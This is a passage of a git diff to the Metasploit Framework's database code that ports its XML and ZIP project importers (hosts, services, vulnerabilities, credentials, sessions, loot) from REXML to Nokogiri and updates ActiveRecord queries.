imported_by) + import_option(key, val, imported, imported_by) } end - def import_option(key, val, imported=true, imported_by=nil) + def import_option(key, val, imported=true, imported_by=nil, option=nil) self.store(key, val) + @options[key] = option @imported[key] = imported @imported_by[key] = imported_by end diff --git a/lib/msf/core/db_export.rb b/lib/msf/core/db_export.rb index 6b1c93504b..109939e8e6 100644 --- a/lib/msf/core/db_export.rb +++ b/lib/msf/core/db_export.rb @@ -125,7 +125,7 @@ class Export @owned_hosts = [] @hosts = myworkspace.hosts @hosts.each do |host| - if host.notes.find :first, :conditions => { :ntype => 'pro.system.compromise' } + if host.notes.where(ntype: 'pro.system.compromise').first @owned_hosts << host end end @@ -133,7 +133,7 @@ class Export # Extracts all events from a project, storing them in @events def extract_event_entries - @events = myworkspace.events.find :all, :order => 'created_at ASC' + @events = myworkspace.events.order('created_at ASC') end # Extracts all services from a project, storing them in @services diff --git a/lib/msf/core/db_manager.rb b/lib/msf/core/db_manager.rb index 60d421b617..4e4ba8315c 100644 --- a/lib/msf/core/db_manager.rb +++ b/lib/msf/core/db_manager.rb @@ -163,14 +163,4 @@ class Msf::DBManager true end - - # Mainly, it's Ruby 1.9.1 that cause a lot of problems now, along with Ruby 1.8.6. - # Ruby 1.8.7 actually seems okay, but why tempt fate? Let's say 1.9.3 and beyond. - def warn_about_rubies - if ::RUBY_VERSION =~ /^1\.9\.[012]($|[^\d])/ - $stderr.puts "**************************************************************************************" - $stderr.puts "Metasploit requires at least Ruby 1.9.3. For an easy upgrade path, see https://rvm.io/" - $stderr.puts "**************************************************************************************" - end - end end diff --git a/lib/msf/core/db_manager/cred.rb b/lib/msf/core/db_manager/cred.rb index 15ddb13877..de35785a3b 100644 --- a/lib/msf/core/db_manager/cred.rb +++ b/lib/msf/core/db_manager/cred.rb @@ -2,7 +2,7 @@ module Msf::DBManager::Cred # This methods returns a list of all credentials in the database def creds(wspace=workspace) ::ActiveRecord::Base.connection_pool.with_connection { - Mdm::Cred.includes({:service => :host}).where("hosts.workspace_id = ?", wspace.id) + Mdm::Cred.where("hosts.workspace_id = ?", wspace.id).joins(:service => :host) } end diff --git a/lib/msf/core/db_manager/import.rb b/lib/msf/core/db_manager/import.rb index c5a0e9d8d4..df0c27f7f5 100644 --- a/lib/msf/core/db_manager/import.rb +++ b/lib/msf/core/db_manager/import.rb @@ -85,10 +85,23 @@ module Msf::DBManager::Import # import_file_detect will raise an error if the filetype # is unknown. def import(args={}, &block) + wspace = args[:wspace] || args['wspace'] || workspace + preserve_hosts = args[:task].options["DS_PRESERVE_HOSTS"] if args[:task].present? && args[:task].options.present? + wspace.update_attribute(:import_fingerprint, true) + existing_host_ids = wspace.hosts.map(&:id) data = args[:data] || args['data'] ftype = import_filetype_detect(data) yield(:filetype, @import_filedata[:type]) if block self.send "import_#{ftype}".to_sym, args, &block + if preserve_hosts + new_host_ids = Mdm::Host.where(workspace: wspace).map(&:id) + (new_host_ids - existing_host_ids).each do |id| + Mdm::Host.where(id: id).first.normalize_os + end + else + Mdm::Host.where(workspace: wspace).each(&:normalize_os) + end + wspace.update_attribute(:import_fingerprint, false) end # @@ -229,7 +242,7 @@ module Msf::DBManager::Import end # This is a text string, lets make sure its treated as binary - data = data.unpack("C*").pack("C*") + data.force_encoding(Encoding::ASCII_8BIT) if data and data.to_s.strip.length == 0 raise Msf::DBImportError.new("The data provided to the import function was empty") end @@ -254,6 +267,9 @@ module Msf::DBManager::Import elsif (firstline.index("")) @import_filedata[:type] = "Retina XML" return :retina_xml + elsif (firstline.index(//)) + @import_filedata[:type] = "OpenVAS XML" + return :openvas_new_xml elsif (firstline.index(//)) @import_filedata[:type] = "OpenVAS XML" return :openvas_new_xml @@ -286,7 +302,7 @@ module Msf::DBManager::Import @import_filedata[:type] = "Nmap XML" return :nmap_xml when "openvas-report" - @import_filedata[:type] = "OpenVAS Report" + @import_filedata[:type] = "OpenVAS" return :openvas_xml when "NessusClientData" @import_filedata[:type] = "Nessus XML (v1)" diff --git a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb index e5bb16275e..428cc77c0e 100644 --- a/lib/msf/core/db_manager/import/metasploit_framework/xml.rb +++ b/lib/msf/core/db_manager/import/metasploit_framework/xml.rb @@ -66,31 +66,31 @@ module Msf::DBManager::Import::MetasploitFramework::XML # Imports `Mdm::Note` objects from the XML element. # - # @param note [REXML::Element] The Note element + # @param note [Nokogiri::XML::Element] The Note element # @param allow_yaml [Boolean] whether to allow yaml # @param note_data [Hash] hash containing note attributes to be passed along # @return [void] def import_msf_note_element(note, allow_yaml, note_data={}) - note_data[:type] = nils_for_nulls(note.elements["ntype"].text.to_s.strip) - note_data[:data] = nils_for_nulls(unserialize_object(note.elements["data"], allow_yaml)) + note_data[:type] = nils_for_nulls(note.at("ntype").text.to_s.strip) + note_data[:data] = nils_for_nulls(unserialize_object(note.at("data"), allow_yaml)) - if note.elements["critical"].text - note_data[:critical] = true unless note.elements["critical"].text.to_s.strip == "NULL" + if note.at("critical").text + note_data[:critical] = true unless note.at("critical").text.to_s.strip == "NULL" end - if note.elements["seen"].text - note_data[:seen] = true unless note.elements["critical"].text.to_s.strip == "NULL" + if note.at("seen").text + note_data[:seen] = true unless note.at("critical").text.to_s.strip == "NULL" end %W{created-at updated-at}.each { |datum| - if note.elements[datum].text - note_data[datum.gsub("-","_")] = nils_for_nulls(note.elements[datum].text.to_s.strip) + if note.at(datum).text + note_data[datum.gsub("-","_")] = nils_for_nulls(note.at(datum).text.to_s.strip) end } report_note(note_data) end - # Imports web_form element using {Msf::DBManager#report_web_form}. + # Imports web_form element using Msf::DBManager#report_web_form. # - # @param element [REXML::Element] web_form element. + # @param element [Nokogiri::XML::Element] web_form element. # @param options [Hash{Symbol => Object}] options # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when # deserializing params. @@ -115,7 +115,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML # FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/47128407 unserialized_params = unserialize_object( - element.elements['params'], + element.at('params'), options[:allow_yaml] ) info[:params] = nils_for_nulls(unserialized_params) @@ -124,9 +124,9 @@ module Msf::DBManager::Import::MetasploitFramework::XML end end - # Imports web_page element using {Msf::DBManager#report_web_page}. + # Imports web_page element using Msf::DBManager#report_web_page. # - # @param element [REXML::Element] web_page element. + # @param element [Nokogiri::XML::Element] web_page element. # @param options [Hash{Symbol => Object}] options # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when # deserializing headers. @@ -162,7 +162,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML # FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/47128407 unserialized_headers = unserialize_object( - element.elements['headers'], + element.at('headers'), options[:allow_yaml] ) info[:headers] = nils_for_nulls(unserialized_headers) @@ -171,9 +171,9 @@ module Msf::DBManager::Import::MetasploitFramework::XML end end - # Imports web_vuln element using {Msf::DBManager#report_web_vuln}. + # Imports web_vuln element using Msf::DBManager#report_web_vuln. # - # @param element [REXML::Element] web_vuln element. + # @param element [Nokogiri::XML::Element] web_vuln element. # @param options [Hash{Symbol => Object}] options # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when # deserializing headers. @@ -209,7 +209,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML # FIXME https://www.pivotaltracker.com/story/show/46578647 # FIXME https://www.pivotaltracker.com/story/show/47128407 unserialized_params = unserialize_object( - element.elements['params'], + element.at('params'), options[:allow_yaml] ) info[:params] = nils_for_nulls(unserialized_params) @@ -232,314 +232,325 @@ module Msf::DBManager::Import::MetasploitFramework::XML wspace = args[:wspace] || workspace bl = validate_ips(args[:blacklist]) ? args[:blacklist].split : [] - doc = rexmlify(data) - metadata = check_msf_xml_version!(doc) + doc = Nokogiri::XML::Reader.from_memory(data) + metadata = check_msf_xml_version!(doc.first.name) allow_yaml = metadata[:allow_yaml] btag = metadata[:root_tag] - doc.elements.each("/#{btag}/hosts/host") do |host| - host_data = {} - host_data[:task] = args[:task] - host_data[:workspace] = wspace - - # A regression resulted in the address field being serialized in some cases. - # Lets handle both instances to keep things happy. See #5837 & #5985 - addr = nils_for_nulls(host.elements["address"]) - next unless addr - - # No period or colon means this must be in base64-encoded serialized form - if addr !~ /[\.\:]/ - addr = unserialize_object(addr) - end - - host_data[:host] = addr - if bl.include? host_data[:host] - next - else - yield(:address,host_data[:host]) if block - end - host_data[:mac] = nils_for_nulls(host.elements["mac"].text.to_s.strip) - if host.elements["comm"].text - host_data[:comm] = nils_for_nulls(host.elements["comm"].text.to_s.strip) - end - %W{created-at updated-at name state os-flavor os-lang os-name os-sp purpose}.each { |datum| - if host.elements[datum].text - host_data[datum.gsub('-','_')] = nils_for_nulls(host.elements[datum].text.to_s.strip) + doc.each do |node| + unless node.inner_xml.empty? + case node.name + when 'host' + parse_host(Nokogiri::XML(node.outer_xml).at("./#{node.name}"), wspace, bl, allow_yaml, btag, args, &block) + when 'web_site' + parse_web_site(Nokogiri::XML(node.outer_xml).at("./#{node.name}"), wspace, bl, allow_yaml, btag, args, &block) + when 'web_page', 'web_form', 'web_vuln' + send( + "import_msf_#{node.name}_element", + Nokogiri::XML(node.outer_xml).at("./#{node.name}"), + :allow_yaml => allow_yaml, + :workspace => wspace, + &block + ) end - } - host_address = host_data[:host].dup # Preserve after report_host() deletes - hobj = report_host(host_data) - - host.elements.each("host_details/host_detail") do |hdet| - hdet_data = {} - hdet.elements.each do |det| - next if ["id", "host-id"].include?(det.name) - if det.text - hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) - end - end - report_host_details(hobj, hdet_data) - end - - host.elements.each("exploit_attempts/exploit_attempt") do |hdet| - hdet_data = {} - hdet.elements.each do |det| - next if ["id", "host-id", "session-id", "vuln-id", "service-id", "loot-id"].include?(det.name) - if det.text - hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) - end - end - report_exploit_attempt(hobj, hdet_data) - end - - host.elements.each('services/service') do |service| - service_data = {} - service_data[:task] = args[:task] - service_data[:workspace] = wspace - service_data[:host] = hobj - service_data[:port] = nils_for_nulls(service.elements["port"].text.to_s.strip).to_i - service_data[:proto] = nils_for_nulls(service.elements["proto"].text.to_s.strip) - %W{created-at updated-at name state info}.each { |datum| - if service.elements[datum].text - if datum == "info" - service_data["info"] = nils_for_nulls(unserialize_object(service.elements[datum], false)) - else - service_data[datum.gsub("-","_")] = nils_for_nulls(service.elements[datum].text.to_s.strip) - end - end - } - report_service(service_data) - end - - host.elements.each('notes/note') do |note| - note_data = {} - note_data[:workspace] = wspace - note_data[:host] = hobj - import_msf_note_element(note,allow_yaml,note_data) - end - - host.elements.each('tags/tag') do |tag| - tag_data = {} - tag_data[:addr] = host_address - tag_data[:wspace] = wspace - tag_data[:name] = tag.elements["name"].text.to_s.strip - tag_data[:desc] = tag.elements["desc"].text.to_s.strip - if tag.elements["report-summary"].text - tag_data[:summary] = tag.elements["report-summary"].text.to_s.strip - end - if tag.elements["report-detail"].text - tag_data[:detail] = tag.elements["report-detail"].text.to_s.strip - end - if tag.elements["critical"].text - tag_data[:crit] = true unless tag.elements["critical"].text.to_s.strip == "NULL" - end - report_host_tag(tag_data) - end - - host.elements.each('vulns/vuln') do |vuln| - vuln_data = {} - vuln_data[:workspace] = wspace - vuln_data[:host] = hobj - vuln_data[:info] = nils_for_nulls(unserialize_object(vuln.elements["info"], allow_yaml)) - vuln_data[:name] = nils_for_nulls(vuln.elements["name"].text.to_s.strip) - %W{created-at updated-at exploited-at}.each { |datum| - if vuln.elements[datum] and vuln.elements[datum].text - vuln_data[datum.gsub("-","_")] = nils_for_nulls(vuln.elements[datum].text.to_s.strip) - end - } - if vuln.elements["refs"] - vuln_data[:refs] = [] - vuln.elements.each("refs/ref") do |ref| - vuln_data[:refs] << nils_for_nulls(ref.text.to_s.strip) - end - end - - vobj = report_vuln(vuln_data) - - vuln.elements.each("notes/note") do |note| - note_data = {} - note_data[:workspace] = wspace - note_data[:vuln_id] = vobj.id - import_msf_note_element(note,allow_yaml,note_data) - end - - vuln.elements.each("vuln_details/vuln_detail") do |vdet| - vdet_data = {} - vdet.elements.each do |det| - next if ["id", "vuln-id"].include?(det.name) - if det.text - vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) - end - end - report_vuln_details(vobj, vdet_data) - end - - vuln.elements.each("vuln_attempts/vuln_attempt") do |vdet| - vdet_data = {} - vdet.elements.each do |det| - next if ["id", "vuln-id", "loot-id", "session-id"].include?(det.name) - if det.text - vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) - end - end - report_vuln_attempt(vobj, vdet_data) - end - end - - ## Handle old-style (pre 4.10) XML files - if btag == "MetasploitV4" - if host.elements['creds'].present? - unless host.elements['creds'].elements.empty? - origin = Metasploit::Credential::Origin::Import.create(filename: "console-import-#{Time.now.to_i}") - - host.elements.each('creds/cred') do |cred| - username = cred.elements['user'].try(:text) - proto = cred.elements['proto'].try(:text) - sname = cred.elements['sname'].try(:text) - port = cred.elements['port'].try(:text) - - # Handle blanks by resetting to sane default values - proto = "tcp" if proto.blank? - pass = cred.elements['pass'].try(:text) - pass = "" if pass == "*MASKED*" - - private = create_credential_private(private_data: pass, private_type: :password) - public = create_credential_public(username: username) - core = create_credential_core(private: private, public: public, origin: origin, workspace_id: wspace.id) - - create_credential_login(core: core, - workspace_id: wspace.id, - address: hobj.address, - port: port, - protocol: proto, - service_name: sname, - status: Metasploit::Model::Login::Status::UNTRIED) - end - end - end - end - - - host.elements.each('sessions/session') do |sess| - sess_id = nils_for_nulls(sess.elements["id"].text.to_s.strip.to_i) - sess_data = {} - sess_data[:host] = hobj - %W{desc platform port stype}.each {|datum| - if sess.elements[datum].respond_to? :text - sess_data[datum.intern] = nils_for_nulls(sess.elements[datum].text.to_s.strip) - end - } - %W{opened-at close-reason closed-at via-exploit via-payload}.each {|datum| - if sess.elements[datum].respond_to? :text - sess_data[datum.gsub("-","_").intern] = nils_for_nulls(sess.elements[datum].text.to_s.strip) - end - } - sess_data[:datastore] = nils_for_nulls(unserialize_object(sess.elements["datastore"], allow_yaml)) - if sess.elements["routes"] - sess_data[:routes] = nils_for_nulls(unserialize_object(sess.elements["routes"], allow_yaml)) || [] - end - if not sess_data[:closed_at] # Fake a close if we don't already have one - sess_data[:closed_at] = Time.now.utc - sess_data[:close_reason] = "Imported at #{Time.now.utc}" - end - - existing_session = get_session( - :workspace => sess_data[:host].workspace, - :addr => sess_data[:host].address, - :time => sess_data[:opened_at] - ) - this_session = existing_session || report_session(sess_data) - next if existing_session - sess.elements.each('events/event') do |sess_event| - sess_event_data = {} - sess_event_data[:session] = this_session - %W{created-at etype local-path remote-path}.each {|datum| - if sess_event.elements[datum].respond_to? :text - sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(sess_event.elements[datum].text.to_s.strip) - end - } - %W{command output}.each {|datum| - if sess_event.elements[datum].respond_to? :text - sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(unserialize_object(sess_event.elements[datum], allow_yaml)) - end - } - report_session_event(sess_event_data) - end - end - end - - - # Import web sites - doc.elements.each("/#{btag}/web_sites/web_site") do |web| - info = {} - info[:workspace] = wspace - - %W{host port vhost ssl comments}.each do |datum| - if web.elements[datum].respond_to? :text - info[datum.intern] = nils_for_nulls(web.elements[datum].text.to_s.strip) - end - end - - info[:options] = nils_for_nulls(unserialize_object(web.elements["options"], allow_yaml)) if web.elements["options"].respond_to?(:text) - info[:ssl] = (info[:ssl] and info[:ssl].to_s.strip.downcase == "true") ? true : false - - %W{created-at updated-at}.each { |datum| - if web.elements[datum].text - info[datum.gsub("-","_")] = nils_for_nulls(web.elements[datum].text.to_s.strip) - end - } - - report_web_site(info) - yield(:web_site, "#{info[:host]}:#{info[:port]} (#{info[:vhost]})") if block - end - - %W{page form vuln}.each do |wtype| - doc.elements.each("/#{btag}/web_#{wtype}s/web_#{wtype}") do |element| - send( - "import_msf_web_#{wtype}_element", - element, - :allow_yaml => allow_yaml, - :workspace => wspace, - &block - ) end end end private + # Parses website Nokogiri::XML::Element + def parse_web_site(web, wspace, bl, allow_yaml, btag, args, &block) + # Import web sites + info = {} + info[:workspace] = wspace + + %W{host port vhost ssl comments}.each do |datum| + if web.at(datum).respond_to? :text + info[datum.intern] = nils_for_nulls(web.at(datum).text.to_s.strip) + end + end + + info[:options] = nils_for_nulls(unserialize_object(web.at("options"), allow_yaml)) if web.at("options").respond_to?(:text) + info[:ssl] = (info[:ssl] and info[:ssl].to_s.strip.downcase == "true") ? true : false + + %W{created-at updated-at}.each { |datum| + if web.at(datum).text + info[datum.gsub("-","_")] = nils_for_nulls(web.at(datum).text.to_s.strip) + end + } + + report_web_site(info) + yield(:web_site, "#{info[:host]}:#{info[:port]} (#{info[:vhost]})") if block + end + + # Parses host Nokogiri::XML::Element + def parse_host(host, wspace, bl, allow_yaml, btag, args, &block) + + host_data = {} + host_data[:task] = args[:task] + host_data[:workspace] = wspace + + # A regression resulted in the address field being serialized in some cases. + # Lets handle both instances to keep things happy. See #5837 & #5985 + addr = nils_for_nulls(host.at('address')) + return 0 unless addr + + # No period or colon means this must be in base64-encoded serialized form + if addr !~ /[\.\:]/ + addr = unserialize_object(addr) + end + + host_data[:host] = addr + if bl.include? host_data[:host] + return 0 + else + yield(:address,host_data[:host]) if block + end + host_data[:mac] = nils_for_nulls(host.at("mac").text.to_s.strip) + if host.at("comm").text + host_data[:comm] = nils_for_nulls(host.at("comm").text.to_s.strip) + end + %W{created-at updated-at name state os-flavor os-lang os-name os-sp purpose}.each { |datum| + if host.at(datum).text + host_data[datum.gsub('-','_')] = nils_for_nulls(host.at(datum).text.to_s.strip) + end + } + host_address = host_data[:host].dup # Preserve after report_host() deletes + hobj = report_host(host_data) + + host.xpath("host_details/host_detail").each do |hdet| + hdet_data = {} + hdet.elements.each do |det| + return 0 if ["id", "host-id"].include?(det.name) + if det.text + hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) + end + end + report_host_details(hobj, hdet_data) + end + + host.xpath("exploit_attempts/exploit_attempt").each do |hdet| + hdet_data = {} + hdet.elements.each do |det| + return 0 if ["id", "host-id", "session-id", "vuln-id", "service-id", "loot-id"].include?(det.name) + if det.text + hdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) + end + end + report_exploit_attempt(hobj, hdet_data) + end + + host.xpath('services/service').each do |service| + service_data = {} + service_data[:task] = args[:task] + service_data[:workspace] = wspace + service_data[:host] = hobj + service_data[:port] = nils_for_nulls(service.at("port").text.to_s.strip).to_i + service_data[:proto] = nils_for_nulls(service.at("proto").text.to_s.strip) + %W{created-at updated-at name state info}.each { |datum| + if service.at(datum).text + if datum == "info" + service_data["info"] = nils_for_nulls(unserialize_object(service.at(datum), false)) + else + service_data[datum.gsub("-","_")] = nils_for_nulls(service.at(datum).text.to_s.strip) + end + end + } + report_service(service_data) + end + + host.xpath('notes/note').each do |note| + note_data = {} + note_data[:workspace] = wspace + note_data[:host] = hobj + import_msf_note_element(note,allow_yaml,note_data) + end + + host.xpath('tags/tag').each do |tag| + tag_data = {} + tag_data[:addr] = host_address + tag_data[:wspace] = wspace + tag_data[:name] = tag.at("name").text.to_s.strip + tag_data[:desc] = tag.at("desc").text.to_s.strip + if tag.at("report-summary").text + tag_data[:summary] = tag.at("report-summary").text.to_s.strip + end + if tag.at("report-detail").text + tag_data[:detail] = tag.at("report-detail").text.to_s.strip + end + if tag.at("critical").text + tag_data[:crit] = true unless tag.at("critical").text.to_s.strip == "NULL" + end + report_host_tag(tag_data) + end + + host.xpath('vulns/vuln').each do |vuln| + vuln_data = {} + vuln_data[:workspace] = wspace + vuln_data[:host] = hobj + vuln_data[:info] = nils_for_nulls(unserialize_object(vuln.at("info"), allow_yaml)) + vuln_data[:name] = nils_for_nulls(vuln.at("name").text.to_s.strip) + %W{created-at updated-at exploited-at}.each { |datum| + if vuln.at(datum) and vuln.at(datum).text + vuln_data[datum.gsub("-","_")] = nils_for_nulls(vuln.at(datum).text.to_s.strip) + end + } + if vuln.at("refs") + vuln_data[:refs] = [] + vuln.xpath("refs/ref").each do |ref| + vuln_data[:refs] << nils_for_nulls(ref.text.to_s.strip) + end + end + + vobj = report_vuln(vuln_data) + + vuln.xpath("notes/note").each do |note| + note_data = {} + note_data[:workspace] = wspace + note_data[:vuln_id] = vobj.id + import_msf_note_element(note,allow_yaml,note_data) + end + + vuln.xpath("vuln_details/vuln_detail").each do |vdet| + vdet_data = {} + vdet.elements.each do |det| + return 0 if ["id", "vuln-id"].include?(det.name) + if det.text + vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) + end + end + report_vuln_details(vobj, vdet_data) + end + + vuln.xpath("vuln_attempts/vuln_attempt").each do |vdet| + vdet_data = {} + vdet.elements.each do |det| + return 0 if ["id", "vuln-id", "loot-id", "session-id"].include?(det.name) + if det.text + vdet_data[det.name.gsub('-','_')] = nils_for_nulls(det.text.to_s.strip) + end + end + report_vuln_attempt(vobj, vdet_data) + end + end + + ## Handle old-style (pre 4.10) XML files + if btag == "MetasploitV4" + if host.at('creds').present? + unless host.at('creds').elements.empty? + origin = Metasploit::Credential::Origin::Import.create(filename: "console-import-#{Time.now.to_i}") + + host.xpath('creds/cred').each do |cred| + username = cred.at('user').try(:text) + proto = cred.at('proto').try(:text) + sname = cred.at('sname').try(:text) + port = cred.at('port').try(:text) + + # Handle blanks by resetting to sane default values + proto = "tcp" if proto.blank? + pass = cred.at('pass').try(:text) + pass = "" if pass == "*MASKED*" + + private = create_credential_private(private_data: pass, private_type: :password) + public = create_credential_public(username: username) + core = create_credential_core(private: private, public: public, origin: origin, workspace_id: wspace.id) + + create_credential_login(core: core, + workspace_id: wspace.id, + address: hobj.address, + port: port, + protocol: proto, + service_name: sname, + status: Metasploit::Model::Login::Status::UNTRIED) + end + end + end + end + + + host.xpath('sessions/session').each do |sess| + sess_id = nils_for_nulls(sess.at("id").text.to_s.strip.to_i) + sess_data = {} + sess_data[:host] = hobj + %W{desc platform port stype}.each {|datum| + if sess.at(datum).respond_to? :text + sess_data[datum.intern] = nils_for_nulls(sess.at(datum).text.to_s.strip) + end + } + %W{opened-at close-reason closed-at via-exploit via-payload}.each {|datum| + if sess.at(datum).respond_to? :text + sess_data[datum.gsub("-","_").intern] = nils_for_nulls(sess.at(datum).text.to_s.strip) + end + } + sess_data[:datastore] = nils_for_nulls(unserialize_object(sess.at("datastore"), allow_yaml)) + if sess.at("routes") + sess_data[:routes] = nils_for_nulls(unserialize_object(sess.at("routes"), allow_yaml)) || [] + end + if not sess_data[:closed_at] # Fake a close if we don't already have one + sess_data[:closed_at] = Time.now.utc + sess_data[:close_reason] = "Imported at #{Time.now.utc}" + end + + existing_session = get_session( + :workspace => sess_data[:host].workspace, + :addr => sess_data[:host].address, + :time => sess_data[:opened_at] + ) + this_session = existing_session || report_session(sess_data) + return 0 if existing_session + sess.xpath('events/event').each do |sess_event| + sess_event_data = {} + sess_event_data[:session] = this_session + %W{created-at etype local-path remote-path}.each {|datum| + if sess_event.at(datum).respond_to? :text + sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(sess_event.at(datum).text.to_s.strip) + end + } + %W{command output}.each {|datum| + if sess_event.at(datum).respond_to? :text + sess_event_data[datum.gsub("-","_").intern] = nils_for_nulls(unserialize_object(sess_event.at(datum), allow_yaml)) + end + } + report_session_event(sess_event_data) + end + end + end + # Checks if the XML document has a format version that the importer # understands. # - # @param document [REXML::Document] a REXML::Document produced by - # {Msf::DBManager#rexmlify}. + # @param name [String] the root node name produced by + # {Nokogiri::XML::Reader#from_memory}. # @return [Hash{Symbol => Object}] `:allow_yaml` is true if the format # requires YAML loading when calling # {Msf::DBManager#unserialize_object}. `:root_tag` the tag name of the # root element for MSF XML. # @raise [Msf::DBImportError] if unsupported format - def check_msf_xml_version!(document) + def check_msf_xml_version!(name) + metadata = { # FIXME https://www.pivotaltracker.com/story/show/47128407 :allow_yaml => false, :root_tag => nil } - if document.elements['MetasploitExpressV1'] + case name + when 'MetasploitExpressV1' # FIXME https://www.pivotaltracker.com/story/show/47128407 metadata[:allow_yaml] = true metadata[:root_tag] = 'MetasploitExpressV1' - elsif document.elements['MetasploitExpressV2'] + when 'MetasploitExpressV2' # FIXME https://www.pivotaltracker.com/story/show/47128407 metadata[:allow_yaml] = true metadata[:root_tag] = 'MetasploitExpressV2' - elsif document.elements['MetasploitExpressV3'] + when 'MetasploitExpressV3' metadata[:root_tag] = 'MetasploitExpressV3' - elsif document.elements['MetasploitExpressV4'] + when 'MetasploitExpressV4' metadata[:root_tag] = 'MetasploitExpressV4' - elsif document.elements['MetasploitV4'] + when 'MetasploitV4' metadata[:root_tag] = 'MetasploitV4' - elsif document.elements['MetasploitV5'] + when 'MetasploitV5' metadata[:root_tag] = 'MetasploitV5' end @@ -553,7 +564,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML # Retrieves text of element if it exists. # - # @param parent_element [REXML::Element] element under which element with + # @param parent_element [Nokogiri::XML::Element] element under which element with # `child_name` exists. # @param child_name [String] the name of the element under # `parent_element` whose text should be returned @@ -564,7 +575,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML # @return [nil] if element with `child_name` does not exist under # `parent_element`. def import_msf_text_element(parent_element, child_name) - child_element = parent_element.elements[child_name] + child_element = parent_element.at(child_name) info = {} if child_element @@ -577,10 +588,10 @@ module Msf::DBManager::Import::MetasploitFramework::XML end # Imports web_form, web_page, or web_vuln element using - # {Msf::DBManager#report_web_form}, {Msf::DBManager#report_web_page}, and - # {Msf::DBManager#report_web_vuln}, respectively. + # Msf::DBManager#report_web_form, Msf::DBManager#report_web_page, and + # Msf::DBManager#report_web_vuln, respectively. # - # @param element [REXML::Element] the web_form, web_page, or web_vuln + # @param element [Nokogiri::XML::Element] the web_form, web_page, or web_vuln # element. # @param options [Hash{Symbol => Object}] options # @option options [Boolean] :allow_yaml (false) Whether to allow YAML when @@ -593,7 +604,7 @@ module Msf::DBManager::Import::MetasploitFramework::XML # (Msf::DBManager#workspace) workspace under which to report the # imported record. # @yield [element, options] - # @yieldparam element [REXML::Element] the web_form, web_page, or + # @yieldparam element [Nokogiri::XML::Element] the web_form, web_page, or # web_vuln element passed to {#import_msf_web_element}. # @yieldparam options [Hash{Symbol => Object}] options for parsing # @yieldreturn [Hash{Symbol => Object}] info diff --git a/lib/msf/core/db_manager/import/metasploit_framework/zip.rb b/lib/msf/core/db_manager/import/metasploit_framework/zip.rb index c2dbe47903..a140c98eb5 100644 --- a/lib/msf/core/db_manager/import/metasploit_framework/zip.rb +++ b/lib/msf/core/db_manager/import/metasploit_framework/zip.rb @@ -10,22 +10,23 @@ module Msf::DBManager::Import::MetasploitFramework::Zip allow_yaml = false btag = nil - doc = rexmlify(data) - if doc.elements["MetasploitExpressV1"] + doc = Nokogiri::XML::Reader.from_memory(data) + case doc.first.name + when "MetasploitExpressV1" m_ver = 1 allow_yaml = true btag = "MetasploitExpressV1" - elsif doc.elements["MetasploitExpressV2"] + when "MetasploitExpressV2" m_ver = 2 allow_yaml = true btag = "MetasploitExpressV2" - elsif doc.elements["MetasploitExpressV3"] + when "MetasploitExpressV3" m_ver = 3 btag = "MetasploitExpressV3" - elsif doc.elements["MetasploitExpressV4"] + when "MetasploitExpressV4" m_ver = 4 btag = "MetasploitExpressV4" - elsif doc.elements["MetasploitV4"] + when "MetasploitV4" m_ver = 4 btag = "MetasploitV4" else @@ -36,111 +37,121 @@ module Msf::DBManager::Import::MetasploitFramework::Zip end host_info = {} - doc.elements.each("/#{btag}/hosts/host") do |host| - host_info[host.elements["id"].text.to_s.strip] = nils_for_nulls(host.elements["address"].text.to_s.strip) - end - # Import Loot - doc.elements.each("/#{btag}/loots/loot") do |loot| - next if bl.include? host_info[loot.elements["host-id"].text.to_s.strip] - loot_info = {} - loot_info[:host] = host_info[loot.elements["host-id"].text.to_s.strip] - loot_info[:workspace] = args[:wspace] - loot_info[:ctype] = nils_for_nulls(loot.elements["content-type"].text.to_s.strip) - loot_info[:info] = nils_for_nulls(unserialize_object(loot.elements["info"], allow_yaml)) - loot_info[:ltype] = nils_for_nulls(loot.elements["ltype"].text.to_s.strip) - loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip) - loot_info[:created_at] = nils_for_nulls(loot.elements["created-at"].text.to_s.strip) - loot_info[:updated_at] = nils_for_nulls(loot.elements["updated-at"].text.to_s.strip) - loot_info[:name] = nils_for_nulls(loot.elements["name"].text.to_s.strip) - loot_info[:orig_path] = nils_for_nulls(loot.elements["path"].text.to_s.strip) - loot_info[:task] = args[:task] - tmp = args[:ifd][:zip_tmp] - loot_info[:orig_path].gsub!(/^\./,tmp) if loot_info[:orig_path] - if !loot.elements["service-id"].text.to_s.strip.empty? - unless loot.elements["service-id"].text.to_s.strip == "NULL" - loot_info[:service] = loot.elements["service-id"].text.to_s.strip + doc.each do |node| + if ['host', 'loot', 'task', 'report'].include?(node.name) + unless node.inner_xml.empty? + send("parse_zip_#{node.name}", Nokogiri::XML(node.outer_xml).at("./#{node.name}"), wspace, bl, allow_yaml, btag, args, basedir, host_info, &block) end end + end + end - # Only report loot if we actually have it. - # TODO: Copypasta. Separate this out. - if ::File.exists? loot_info[:orig_path] - loot_dir = ::File.join(basedir,"loot") - loot_file = ::File.split(loot_info[:orig_path]).last - if ::File.exists? loot_dir - unless (::File.directory?(loot_dir) && ::File.writable?(loot_dir)) - raise Msf::DBImportError.new("Could not move files to #{loot_dir}") - end - else - 